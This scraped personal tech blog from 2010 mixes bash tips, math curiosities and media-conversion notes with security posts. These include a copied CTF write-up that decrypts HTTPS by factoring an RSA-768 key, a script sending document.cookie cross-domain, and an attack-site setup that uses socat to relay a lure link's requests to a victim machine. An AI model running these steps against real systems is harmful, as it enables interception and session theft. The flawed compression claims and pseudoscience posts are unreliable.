The principle of sharing predates the open source movement; for example, the free sharing of information has been institutionalized in the scientific enterprise since at least the 19th century. Open source principles have always been part of the scientific community. The sociologist Robert K. Merton described the four basic elements of the community — universalism (an international perspective), communism (sharing information), disinterestedness (removing one's personal views from the scientific inquiry) and organized skepticism (requirements of proof and review) that accurately describe the scientific community today. These principles are, in part, complemented by US law's focus on protecting expression and method but not the ideas themselves. There is also a tradition of publishing research results to the scientific community instead of keeping all such knowledge proprietary. One of the recent initiatives in scientific publishing has been open access — the idea that research should be published in such a way that it is free and available to the public. There are currently many open access journals where the information is available free online, however most journals do charge a fee (either to users or libraries for access). The Budapest Open Access Initiative is an international effort with the goal of making all research articles available free on the Internet. The National Institutes of Health has recently proposed a policy on "Enhanced Public Access to NIH Research Information." This policy would provide a free, searchable resource of NIH-funded results to the public and with other international repositories six months after its initial publication. The NIH's move is an important one because there is significant amount of public funding in scientific research. Many of the questions have yet to be answered — the balancing of profit vs. public access, and ensuring that desirable standards and incentives do not diminish with a shift to open access.
Farmavita.Net — Community of Pharmaceuticals Executives have recently proposed new business model of Open Source Pharmaceuticals.^[42] The project is targeted to development and sharing of know-how for manufacture of essential and life saving medicines. It is mainly dedicated to the countries with less developed economies where local pharmaceutical research and development resources are insufficient for national needs. It will be limited to generic (off-patent) medicines with established use. By the definition, medicinal product have a “well-established use” if is used for at least 15 years, with recognized efficacy and an acceptable level of safety. In that event, the expensive clinical test and trial results could be replaced by appropriate scientific literature.
Benjamin Franklin was an early contributor eventually donating all his inventions including the Franklin stove, bifocals, and the lightning rod to the public domain.
New NGO communities are starting to use the open source technology as a tool. One example is the Open Source Youth Network started in 2007 in Lisboa by ISCA members.^[43]
Open innovation is also a new emerging concept which advocate putting R&D in a common pool. The Eclipse platform is openly presenting itself as an Open innovation network.^[44]

[edit] Arts and recreation

Copyright protection is used in the performing arts and even in athletic activities. Some groups have attempted to remove copyright from such practices.^[45]

[edit]

irst public call to the free software community to adopt the new term.^[11] The Open Source Initiative was formed shortly thereafter.^[7]
Starting in the early 2000s, a number of companies began to publish a portion of their source code to claim they were open source, while keeping key parts closed. This led to the development of the now widely used terms free open source software and commercial open source software to distinguish between truly open and hybrid forms of open source.^{[original research?]}

Why The Lucky Stiff

2010-12-28T06:09:00.000-08:00

Just read this good article on a key ruby hacker and developer who vanished from visible internet (or rather visibility) one fine day, stating:

programming is rather thankless. u see your works become replaced by superior ones in a year. unable to run at all in a few more

There is another article on him in the wikipedia

This is what it has about him:

why the lucky stiff (often known simply as why, _why) was the persona of an anonymous and prolific writer, cartoonist, musician, artist, and computer programmer notable for his work with the Ruby programming language. Along with Yukihiro Matsumoto and David Heinemeier Hansson, he was seen as a key figure in the Ruby community.
Why the lucky stiff was the keynote speaker at RailsConf in 2006.^[1] He also had a speaking session titled "A Starry Afternoon, a Sinking Symphony, and the Polo Champ Who Gave It All Up for No Reason Whatsoever" at the 2005 O'Reilly Open Source Convention held in Portland, Oregon.^[2] It explored how to teach programming and make it more appealing to adolescents.
On 19 August 2009, his online presence was drastically truncated; his accounts on Twitter and GitHub were shut down, along with many of his personally maintained sites.^[3] His projects have since been collected and centralized on the whymirror GitHub account

There is even a whyday for him

These are his projects:

OpenSource Projects have no managers

2010-12-28T05:22:00.000-08:00

Was reading through wikipedia link and just stumbled upon the following snip:

"Utilities that automate testing, compiling and bug reporting help preserve stability and support of software projects that have numerous developers but no managers, quality controller or technical support. Building systems that report compilation errors among different platforms include Tinderbox. Commonly used bugtrackers Bugzilla and GNATS."

Ever noticed the fact that there are no __managers__ in opensource projects

There are developers, a few testers, enthusiasts and leaders

BUT __NO MANAGERS, SENIOR MANAGERS, DIRECTORS, SENIOR DIRECTORS, VICE PRESIDENTS, PRESIDENTS AND CEOS__

Ever wonder how so many projects starting from Operating System Kernels, OS Emulators, and Quality Browsers are being written without any management hierarchy

Here again, I am not talking about RedHat or SuSE/Novell which are registered companies. I am talking about GNOME, KDE, FIREFOX, PYTHON, PERL, RUBY, THE LINUX KERNEL the list goes on

There might be some managers here and there, but to be true, most, if not all of the open source projects run without MANAGERS

There is an article somewhere where a book called "The future of management" discusses as follows:

I knew Gary was familiar with open source after reading his book The Future of Management. He spends five pages (205-210 in the hardcover) discussing open source and at one point says the following:

The success of the open source software movement is the single most dramatic example of how an opt-in engagement model can mobilize human effort on a grand scale... It's little wonder that the success of open source has left a lot of senior executives slack-jawed. After all, it's tough for managers to understand a production process that doesn't rely on managers.

Power up your calculator from two flower pots!

2010-12-27T19:28:00.001-08:00

Here is the video:

Youtube Link

Object Oriented Bash (oobash)

2010-12-21T23:11:00.000-08:00

Download source code here or here

$ source oobash-0.32.source 
$ String strVar "Abcdef"
$ strVar.isDigit
false
$ length=`strVar.length`
$ echo $length
6
$String.help

Some more bash tricks

2010-12-21T22:28:00.000-08:00

String repetition:

"abcd" should become "abcdabcdabcdabcd" (ie., abcd 4 times)
Method:

echo -n -e $(yes abcd | head -n4 ) | tr -d ' '

String Replacement:

Task: "abcd.efgh.ijkl" should become "abcd.mnop.ijkl" (ie., replace "efgh" with "mnop")

var="abcd.efgh.ijkl"
echo ${var/"efgh"/"mnop"}
echo ${var/efgh/mnop}

String replacement (match all):

"abcd.efgh.ikjl.efgh" should become "abcd.mnop.ijkl.mnop" (ie., replace "efgh" with "mnop" wherever it occurs)

var="abcd.efgh.ijkl.efgh"
echo ${var//"efgh"/"mnop"}
echo ${var//efgh/mnop}

String replacement (only beginning):

"abcd.efgh.abcd.ijkl" should become "mnop.efgh.abcd.ijkl" (ie., replace only the beginning "abcd")

var="abcd.efgh.abcd.ijkl"
echo ${var/#abcd/mnop}

String replacement (only ending part):

"abcd.efgh.ijkl.efgh.ijkl" should become "abcd.efgh.ijkl.efgh.mnop" (ie., replace only the ending "ijkl")

var="abcd.efgh.ijkl.efgh.ijkl"
echo ${var/%ijkl/mnop}

String extraction:

Extract sub string starting with the 10th character

var="Hi How are you"
echo ${var:10}

Extract sub string from 10th to 15th character

var="Hi How are you now"
echo ${var:10:15}

String Length:

Identify the length of a string

var="Hi How are you"
echo ${#var}

Fiddler2 - Fiddle with SSL

2010-12-16T22:45:00.000-08:00

Fiddler2 works by acting as a proxy server between your software and the Internet, intercepting HTTP requests before transmitting them to their intended destination. Many REST APIs, particularly OAuth authentication, operate over SSL. Because Fiddler2 is a proxy server, it can instruct an HTTP protocol stack that it is the intended secure server for all SSL connections. This enables the app to intercept all SSL requests, giving developers a peek at data that’s usually kept under lock and key

Sniffing SSL traffic to public websites

2010-12-16T21:40:00.000-08:00

There is a beautiful write up here:

http://blog.stalkr.net/2010/03/codegate-decrypting-https-ssl-rsa-768.html

Reproducing (copy pasting) it on this blog, so it doesn't get lost:

Steps

Extract public certificate
Identify encryption
Create private certificate
Decrypt https

1. Extract public certificate

Launch Wireshark and open the capture file. Browse the packets to the TLSv1 Server hello. Open the SSL layer, expand TLSv1 Record Layer containing certificate, select the certificate and use right-click/Export selected packet bytes to save the X.509 certificate in binary DER as public.der.

2. Identify encryption

Using OpenSSL suite, you can see information contained in certificate:

$ openssl x509 -inform DER -in public.der -text
[...]
                              Public Key Algorithm: rsaEncryption
                              RSA Public Key: (768 bit)
                                        Modulus (768 bit):
                                                  00:ca:d9:84:55:7c:97:e0:39:43:1a:22:6a:d7:27:
                                                  f0:c6:d4:3e:f3:d4:18:46:9f:1b:37:50:49:b2:29:
                                                  84:3e:e9:f8:3b:1f:97:73:8a:c2:74:f5:f6:1f:40:
                                                  1f:21:f1:91:3e:4b:64:bb:31:b5:5a:38:d3:98:c0:
                                                  df:ed:00:b1:39:2f:08:89:71:1c:44:b3:59:e7:97:
                                                  6c:61:7f:cc:73:4f:06:e3:e9:5c:26:47:60:91:b5:
                                                  2f:46:2e:79:41:3d:b5
[...]

The interesting thing here is that the public-key algorithm is RSA and the modulus 768 bits: RSA-768 has been factored!

RSA-768 = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489 × 3674604366679959042824463379962795263227915816434308764267603228381573966651127923373417143396810270092798736308917

Conclusion: we are able to create our own private certificate, valid to decrypt the SSL.

3. Create private certificate

Thanks to Mister P and Q's Excellent Solution to Didier Stevens' Authenticode Challenge, it was really easy.

I used their CreatePEM.cpp, turned it back into a C program, included e_os.h from OpenSSL and added P & Q of RSA-768bits which gave me create_private.c. Make sure you also have OpenSSL development files installed (package libssl-dev on Debian), then compile with:

$ gcc -lssl -o create_private create_private.c

Then run it to generate private.pem, the private certificate in PEM format:

./create_private
ls -l private.pem
-rw-r--r-- 1 stalkr stalkr 692 2010-03-15 16:17 private.pem

4. Decrypt https

Open Wireshark preferences file:
- on Linux: ~/.wireshark/preferences
- on Windows: C:\Documents and Settings\\Application Data\Wireshark\preferences

Inform Wireshark that you want it to desegment SSL records and application data, and give it the private certificate for the https server we observed (192.168.100.4):

ssl.desegment_ssl_records: TRUE
ssl.desegment_ssl_application_data: TRUE
ssl.keys_list: 192.168.100.4,443,http,/home/stalkr/codegate/7/private.pem

Fix the path to private certificate accordingly, on Windows use regular slashes /.

Again, launch Wireshark and open the capture file. We can now see the application data: an HTTP GET request to index.html, and the response containing the flag

When lethal enemies become tools

2010-12-16T18:36:00.000-08:00

E Coli as I have heard, is a very dangerous bacteria

But as per the news here, efforts are underway to STORE DATA inside bacteria

Imagine the extent of storage space provided by 1 gram of E Coli Bacteria:

900, 000 GB of data in 1 Gram of E Coli Bacteria

There is a very good place to find such stuff: iGEM (International Genetically Engineered Machines)

There is a PDF describing the whole stuff which is worth reading

This is exactly what I call invention

Here is a pic from the research lab:

Here is the excerpt from CUHK Submission:

CUHK IGEM 2010--Bioencryption

Our Project

Data encryption and storage has always been an important branch of research in computer engineering. In our project, we explored the possibility of harnessing a biological system as an alternative solution for data en/decryption and storage. Using bacteria as the information storage device is not new. However the practicability of previous research is being doubt due to the limited size of information available to be inserted into the bacteria.

We recognized the current barricades in developing a truly useful system and we forecasted the indispensable modules that one would be anticipating when putting fantasy into reality. This year, we have proposed a model that is a true, massively parallel bacterial data storage system.

In addition we have created an encryption module with the R64 Shufflon-Specific Recombinase to further secure the information. Together with the data proof-read/correction and random access modules developed, our expectation is high - we believe this could be an industrial standard in handling large scale data storage in living cells

A good analogy

2010-12-14T07:37:00.000-08:00

Here is a good analogy between two subjects humans usually keep thinking about: electricity and soul

The article is here

A snip from the above given website is posted below:

Brain-Soul-Consciousness:a synthesis of ideas(in progress)

The brain is a computer that interfaces with a conscious entity(our
consciousness). It or any of it's parts are no more conscious than your
pocket calculator or desktop PC. It is an apparatus for decoding, analyzing,
exploring the 3-dimensional universe that we live in. It is a circuit that is
composed of a complex array of networks(neural networks) that are being
continuously modified by our environment and the experiences that we
encounter in that environment. The brain's different parts (cortex, brain
stem, ect)make up an ensemble of integrated modules that function together
as a whole. The same way your cpu, motherboard, and memory chips in your
computer function as a whole. Here is one example of how our nervous systems
are adapted to our physical environment. Have you noticed how anything thing
solid that we can feel is within in our range of VISION. Our visual systems
our perfectly or nearly perfectly adapted to the wavelengths of physical
matter in our three dimensional universe. We do not bump into invisible
objects because all solid matter in our three dimensional universe is within
our visual spectrum

SSH Client in python

2010-12-14T03:02:00.000-08:00

A complete SSH client written in python from scratch

One can get a complete understanding of SSH v2 protocol by going through this beautiful program

Its present here and relocated here

Browse internet using email

2010-12-14T02:21:00.000-08:00

Sometimes, websites are blocked by system administrators. Many a times, based on regional policies, or on administrative policies, it is not possible to browse some websites from certain locations such as, say from office

The best way to browse websites under such circumstances, is using www4mail

The steps to browse using email are below:

1. Send an email to www4mail@wm.ictp.trieste.it with the following in your subject line:

GET http://website.you.want.to.access.com

2. Wait for a few minutes and within a few minutes, you will get an email with the content of website you want to browse

The only issue with this type of browsing, is that it takes a lot of time for one to get replies

May be there are better paid services who do the job quite faster

Other options, as described here

Makezine for hardware hackers

2010-12-12T20:52:00.000-08:00

First a brief description of hardware hackers (from wikipedia link):

Another type of hacker is one who creates novel hardware modifications. Hardware hackers are those who modify hardware (not limited to computers) to expand capabilities; this group blurs into the culture of hobbyist inventors and professional electronics engineering. A sample of such modification includes the addition of TCP/IP Internet capabilities to a number of vending machines and coffee makers during the late 1980s and early 1990s^[1]^[2].

Makezine is a magazine which provides Do It Yourself projects, Howtos, Hacks and Mods for hobbyists

Read Hyper Text Coffee Pot Control Protocol (HTCPCP)

Homeland Security Keyloggers Found in Dell PCs

2010-12-08T00:52:00.000-08:00

People who want to believe it, will do so
People who have usually ignored it, will ignore it as usual
Instead of keyboard, could be motherboard, network card, anywhere, you bet

The article is here to read

The rules of Cross Domain Land

2010-12-02T19:11:00.000-08:00

Most of the web developers might have heard of Cross Domain requests sent using XMLHTTPRequest method inside javascripts. The main security concern arose from the fact that it was possible to use XMLHTTPRequest method inside javascript script tag and send GET/POST requests (with custom headers), when a user browses a web page containing the java script. When such webpages were browsed using vulnerable versions of firefox/IE (old versions), it was possible to send customized HTTP Headers using XMLHTTPRequest method, and the browser would not bother about it

Just consider the scenario below:

There is an attack website https://www.website-a.com which contains a script which does the following:

var hObj = new XMLHttpRequest();

var url = 'http://www.website-b.com/somepage'; 

hObj.open('POST', url, true);
hObj.setRequestHeader('Cookie', document.cookie);
hObj.send();

What the above does, is it sends a POST request with a modified header called Cookie to the website-b.com which allows the user in, if the cookie is either valid or belonging to a related website

Browsers include a set of rules of caution while browsing pages with scripts which send requests to another domain, which is not the same as the domain that is being browsed. Here are the brief descriptions of the rules:

a. Disable directly sending requests with credentials in the headers section, to domains other than the one that is being browsed

b. Disable directly sending requests with custom headers as part of headers section

c. Disable directly sending requests with methods which are not among the usual GET or POST methods

Whenever such requests are invoked by a script inside a page, firefox 3.5 and above and other browsers which are not vulnerable, send preflighted requests first, to check whether the other site allows them or not. Then they send the real POST/GET requests. Preflighted requests are of the type below:

OPTIONS /resource HTTP/1.1
Origin: http://www.website-a.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Cookie

What the above lines say in brief is, that it is a request coming from website-a.com and a script wants to send a POST request with a Cookie header. Is that OK to send such a request to website-b.com?

If website-b.com is OK with that, then it sends the following:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://www.website-a.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Cookie
Access-Control-Max-Age: 1728000

When such a reply is received, it is considered as website B allowing such a request, and the original POST/GET request is now sent to www.website-b.com

For more about how various types of requests are handled, please visit this place

Cross Domain XSS using XMLHTTP

2010-11-26T03:37:00.000-08:00

Some people use Ajax Cross Domain

The other method is below:

Setup of Attack Site:

1. Install apache:

aptitude install apache2

2. Make apache run only on HTTPS and not on HTTP

sed -i 's/Listen 80/# Listen 80/g' /etc/apache2/httpd.conf

3. Restart apache service:

/etc/init.d/apache2 restart

4. Execute the following command and keep the shell open:

socat -v TCP-L:80,fork OPENSSL:Victim Machine:443,verify=0

5. Write the following into /var/www/index.html (enclosed with script tag):

window.onload = function(){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://Attack Machine/service name");
        message = 'XML to POST'

        xhr.onreadystatechange = function(){
                if ( xhr.readyState == 4 ) {
                        if ( xhr.status == 200 ) {
                                document.body.innerHTML = "Output: " + xhr.responseText;
                        } else {
                                document.body.innerHTML = "ERROR" + xhr.responseText + xhr.status;
                        }
                }
        };
        xhr.send(message);

Notice that the IP Address of the XML HTTP Post is Attack machine itself

The POST request which is sent to the same machine (port 80) is redirected to port 443 of Victim Machine by the socat re-direction script executed in step 4

6. Pass the following link to the user:

https://Attack Machine IP

7. Notice that once a user clicks on this link, a POST request is sent to the victim's machine

The following javascript helps even doing redirection of website to the user:

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://Attack Machine IP/service name", false);
xhr.withCredentials = "true";
xhr.send(null);

Kaprekar's Constant

2010-11-25T01:47:00.000-08:00

Consider this:

1) Take any three-digit number with at least two digits different (Example 100, 176 etc)

2) Arrange the digits in ascending and then in descending order to get two four-digit numbers, adding leading zeros if necessary (Example 100 and 001 if 100 is chosen as the 3 digit number, 716 and 167 if 176 is chosen as the 3 digit number)

3) Subtract the smaller number from the bigger number (100 - 001 if 100 is chosen as the 3 digit number, 716 - 167 if 176 is chosen as the 3 digit number)

4) Go back to Step #2

The above operation will always reach 495 in a few steps where it stops there

Wondering?

Examples:

100:

100 – 001 = 099
990 – 099 = 891
981 – 189 = 792
972 – 279 = 693
963 – 369 = 594
954 – 459 = 495

911:
911 - 119 = 792
972 - 279 = 693
963 - 369 = 594
954 - 459 = 495

Here is a python script to find out the series till reaching the Kaprekar's constant:

import sys

num = sys.argv[1]
def kaprekar(n):
    kaprekar = []
    while n != 495:
        kaprekar.append(int(n))
        zNum = list(str(n).zfill(3))
        fNum = sorted(zNum)
        rNum = sorted(zNum, reverse=True)
        sNum = int("".join(rNum), 10)
        dNum = int("".join(fNum), 10)
        n = sNum - dNum

    kaprekar.append(495)
    return kaprekar

print kaprekar (num)

A very reduced version submitted by arthur is below:

import sys

num = sys.argv[1]
def kaprekar(n):
        print n
        if n != 495:
                kaprekar(int("".join(sorted(list(str(n).zfill(3)), reverse=True)), 10) - int("".join(sorted(list(str(n).zfill(3)))), 10))
        else:
                return
print kaprekar (num)

DavMail Gateway

2010-11-25T01:24:00.000-08:00

DavMail is a 4MB Java Application which acts as a proxy between your desktop and Microsoft Exchange Outlook Web Access, so that you can connect to localhost using any email client and read emails, use calendar, synchronize address books etc

If you have thunderbird-lightning plugin, you can even connect to CalDAV server to get Calendar synced

Prerequisites:

aptitude install sun-java6-bin

Ubuntu Linux with the 200 line patch (and the alternative approach)

2010-11-22T22:17:00.000-08:00

Well, if you want to try out the kernel compiled with patch, the binary distribution is here:

http://www.outrightsolutions.nl/~sander/ubuntu/kernel/

I just tried it on an 64 bit Ubuntu and there is __noticeable__ difference in desktop responsiveness

If you want to try out the command approach (alternative one), here it is:

Add the following to /etc/rc.local:

mkdir -p /dev/cgroup/cpu
mount -t cgroup cgroup /dev/cgroup/cpu -o cpu
mkdir -m 0777 /dev/cgroup/cpu/user
echo "/usr/local/sbin/cgroup_clean" > /dev/cgroup/cpu/release_agent

Change the permissions of /etc/rc.local and make it executable:

chmod +x /etc/rc.local

Put the following in ~/.bashrc:

if [ "$PS1" ] ; then
   mkdir -p -m 0700 /dev/cgroup/cpu/user/$$ > /dev/null 2>&1
   echo $$ > /dev/cgroup/cpu/user/$$/tasks
   echo "1" > /dev/cgroup/cpu/user/$$/notify_on_release
fi

Put the following in /usr/local/sbin/cgroup_clean:

#!/bin/sh
rmdir /dev/cgroup/cpu/$*

Make /usr/local/sbin/cgroup_clean executable

chmod +x /usr/local/sbin/cgroup_clean

Reboot your machine and execute /etc/rc.local file manually

Check out the difference

Noticeable difference in performance

Trachtenberg system of mathematics

2010-11-22T06:04:00.000-08:00

A small girl with beribboned braids was asked to find the solution of 735352314 times 11. She came up with the correct answer-8088875454-in less time than you can say the multiplication table. A thin, studious-looking boy wearing silver-rimmed spectacles was told to multiply 5132437201 times 452736502785. He blitzed through the problem, computing the answer-2323641669144374104785-in seventy seconds

Read the story here

An example of multiplication by 12

How many numbers can you count using one hand

2010-11-21T18:51:00.000-08:00

Seems to be an easy question, but think again

Its far too much as compared to what you can think

To analyze this, consider that we have 3 lines per finger which can represent the numbers 0, 1 and 2 respectively (starting from the line below to the line above)

When we use the numbers 0 and 1 it is called binary arithmetic; If we use 0, 1 and 2 it would be called trenary arithmetic

In such arithmetic, each finger can represent either 0, 1 or 2 based on which line is marked

Now applying the rules of binary arithmetic (or decimal arithmetic) here, to the five fingers, we get the maximum number that can be counted:

= 2 * 3^0 + 2 * 3^1 + 2 * 3^2 + 2 * 3^3 + 2 * 3^4
= 2 + 6 + 18 + 54 + 162
= 242

Our thumbs have one more line (4 instead of 3 as in other fingers)

Which means that if we consider that as the first line belonging to the 6th finger, which could have any value 0, 1 or 2, then the maximum value represented by the thumb's 4th line would be:

= 2 * 3^5
= 243

Combining both the numbers above, the value comes to:

= 242 + 243 = 485

So we can easily count 0 to 485 using one hand

Counting the second hand's fingers from 3^5 (continuation from above) would mean the maximum number that can be counted using both hands would be:

= 2 * 3^5 + 2 * 3^6 + 2 * 3^7 + 2 * 3^8 + 2 * 3^9 + 242 (from first hand)
= 486 + 1458 + 4374 + 13122 + 39366 + 242
= 59048

Multi-state machines and zipping

2010-11-21T18:37:00.000-08:00

Machines with multiple states can help zip data to smaller sizes in drastic ways

For example, let us take the first few characters in this line itself:

Example characters considered: For example
Hex of characters considered   : 0x46 0x6f 0x72 0x20 0x65 0x78 0x61 0x6d 0x70 0x6c 0x65 (including space)
Binary of all the numbers above:

01000110 01101111 01110010 00100000 01100101 01111000 01100001 01101101 01110000 01101100 01100101

Now let us combine 3 binary numbers above to produce an octal number using the rule below:

0 0 0    0
0 0 1    1
0 1 0    2
0 1 1    3
1 0 0    4
1 0 1    5
1 1 0    6
1 1 1    7

In this way we would have unique octal numbers for each 3 binary numbers combined; Which means, we can get back the binary numbers if we know the octal number

In our above example, we can combine the first 3 binary numbers to produce:

01000110 01101111 01110010

                  01000110
                01101111
01110010

07312672

Now imagine every bit in a byte having not one but 8 states (multi state memory bits)

This would mean that the above number   07312672 can be accomodated inside one single byte of memory space

Which means you have successfully zipped 3 bytes of data to 1 byte of octal which is stored in a 8 state memory bit machine

If you carry this on to say 16 state memory machine, then it can successfully compress data 16 times!

Compressing data to 16 times means a normal 800MB CD would become 50MB!

Here is an exerpt from chinese science bulletin:

        To meet the increasing need of multimedia storage,
many efforts have been made to develop storage tech-
nique with higher storage speed and higher storage den-
sity. Besides the traditional two-state (0 and 1) memory,
multi-state memory, which can store more than two
states in a memory cell, can improve the storage density
and may become the next generation storage technique.
Materials for multi-state memory media have multi sta-
ble physical states and these states can be sensed by cer-
tain physical properties, such as resistance of GST in
multi phases[1] or magnetoresistance in multilayer tunnel
junction with multi spin states[2]. Such multi-state mem-
ory materials are rare in nature and need a further
search

Did I say multiple state virtual machines!

Nicola Tesla, a man far beyond his time

2010-11-21T00:46:00.001-08:00

http://www.youtube.com/watch?v=gasJlVmewCI&feature=related

The 200 line linux kernel patch that does wonders

2010-11-17T21:39:00.000-08:00

Read this

This is what Linus had to say about this:

Yeah. And I have to say that I'm (very happily) surprised by just how small that patch really ends up being, and how it's not intrusive or ugly either.

I'm also very happy with just what it does to interactive performance. Admittedly, my "testcase" is really trivial (reading email in a web-browser, scrolling around a bit, while doing a "make -j64" on the kernel at the same time), but it's a test-case that is very relevant for me. And it is a _huge_ improvement.

It's an improvement for things like smooth scrolling around, but what I found more interesting was how it seems to really make web pages load a lot faster. Maybe it shouldn't have been surprising, but I always associated that with network performance. But there's clearly enough of a CPU load when loading a new web page that if you have a load average of 50+ at the same time, you _will_ be starved for CPU in the loading process, and probably won't get all the http requests out quickly enough.

So I think this is firmly one of those "real improvement" patches. Good job. Group scheduling goes from "useful for some specific server loads" to "that's a killer feature".

Linus

cooking with slitaz-cooking

2010-11-17T21:27:00.000-08:00

export http_proxy="proxy server":"proxy port"

for iter in vlc mplayer virtualbox-ose firefox libcrypto libssl pidgin socat nmap java-jre feh perl python ruby rubygems wget gnumeric abiword xlockmore recordmydesktop get-flash-plugin esound
do
tazpkg get-install $iter
done

Desktop setup done in slitaz

More on slitaz here

Free Energy if you think

2010-11-16T02:44:00.000-08:00

Salt water battery (experiment done at home)

Whats minimum that is needed to power up an LED (experiment at home)

Vinegar and Salt Battery

Salt Water Battery

Research in this area might make it still better, or may be really turn our energy industry upside down, but there is something called oil mafia (or named properly, energy lobbies)

Read this article

and

This

Linux completely running from RAM

2010-11-16T01:59:00.000-08:00

Slitaz is a good linux distro

Features:

1. Runs completely from RAM; Even applications run from RAM
2. Faster
3. Small in size (Total Installation Disk is =~ 30MB in size)
4. Many packages available in supporting ISO (about 2612 packages available)
5. Light Window Manager used
6. Stripped down linux kernel (about 2.3 MB)

mencoder convert AVI to FLV (Macromedia Flash) format example

2010-11-09T18:49:00.000-08:00

Many a times, we find that the commands that are used to convert files from one format to another are very difficult to understand; After reading through articles in the internet, the following brief description of commands and terms used has been written:

The command and description of arguments are below:

Command:

mencoder -forceidx -of lavf -oac mp3lame -lameopts abr:br=56 -srate 22050 -ovc lavc -lavcopts vcodec=flv -o vcd_5.flv vcd_5.avi

Some terms:

Codec: A device or computer program capable of encoding and/or decoding a digital data stream or signal

Container: One or more video or audio codecs combined in a group

Mencoder supports the following containers:

Container format name	Description
lavf	one of the containers supported by `libavformat`
avi	Audio-Video Interleaved
mpeg	MPEG-1 and MPEG-2 PS
rawvideo	raw video stream (no muxing - one video stream only)
rawaudio	raw audio stream (no muxing - one audio stream only)

libavformat: It is one of the containers supported by mencoder to encode to a lot of video and audio formats

Codecs supported by libavformat container (given using -lavcopts vcodec= option in the command above:

Video codec name	Description
mjpeg	Motion JPEG
ljpeg	lossless JPEG
jpegls	JPEG LS
targa	Targa image
gif	GIF image
bmp	BMP image
png	PNG image
h261	H.261
h263	H.263
h263p	H.263+
mpeg4	ISO standard MPEG-4 (DivX, Xvid compatible)
msmpeg4	pre-standard MPEG-4 variant by MS, v3 (AKA DivX3)
msmpeg4v2	pre-standard MPEG-4 by MS, v2 (used in old ASF files)
wmv1	Windows Media Video, version 1 (AKA WMV7)
wmv2	Windows Media Video, version 2 (AKA WMV8)
rv10	RealVideo 1.0
rv20	RealVideo 2.0
mpeg1video	MPEG-1 video
mpeg2video	MPEG-2 video
huffyuv	lossless compression
ffvhuff	FFmpeg modified huffyuv lossless
asv1	ASUS Video v1
asv2	ASUS Video v2
ffv1	FFmpeg's lossless video codec
svq1	Sorenson video 1
flv	Sorenson H.263 used in Flash Video
flashsv	Flash Screen Video
dvvideo	Sony Digital Video
snow	FFmpeg's experimental wavelet-based codec
zmbv	Zip Motion Blocks Video
dnxhd	AVID DNxHD

Muxing: Multiplexing of video streams to output files of specific container format type (such as libavformat)

Muxer: A software that does multiplexing/demultiplexing of video streams

In the example above, libaviformat is used to do the muxing of output file

Macromedia Flash: Usually the format suitable for playback in web browsers using flash plugins; The format in which youtube.com or video.google.com videos are played in browsers

AVI Index: It is a time index which helps in forwarding/fast forwarding and selecting any time reference to play an AVI video from

If index is not built, then it is not possible to play it in some video players such as the ones inside LCD TVs etc

Description of arguments:

-forceidx 

Force index rebuilding

-of lavf

Output format, default is AVI

The following are some example containers (taken from the man page of mencoder):

-of avi
 Encode to AVI.
-of mpeg
 Encode to MPEG (also see -mpegopts).
-of lavf
 Encode with libavformat muxers (also see -lavfopts).
 or Encode to one of the formats supported by the libaviformat container
-of rawvideo
 raw video stream (no muxing - one video stream only)
-of rawaudio
 raw audio stream (no muxing - one audio stream only)

-lavfopts vcodec=flv

The video codec (belonging to libaviformat container) to use, while converting video

-oac mp3lame

Encode to mp3 using LAME encoder (http://lame.sourceforge.net/)

-lameopts abr:br=56

LAME Options to use

abr = average bitrate
br  = bitrate

-srate 22050

Output sample rate to use for audio

-o 

Output file name

How to rip VCD/DVD using mplayer

2010-11-09T18:22:00.000-08:00

In mplayer VCD or DVD tracks are represented as:

vcd:// or dvd://

For example, for playing the first track, use the command:

mplayer vcd://1

To dump the video stream to a file instead of playing it, the following command is used:

mplayer -dumpstream vcd://3 -dumpfile vcd_3.avi

The above command dumps the 3rd track in the vcd to file vcd_3.avi

Later this can be converted to any format as required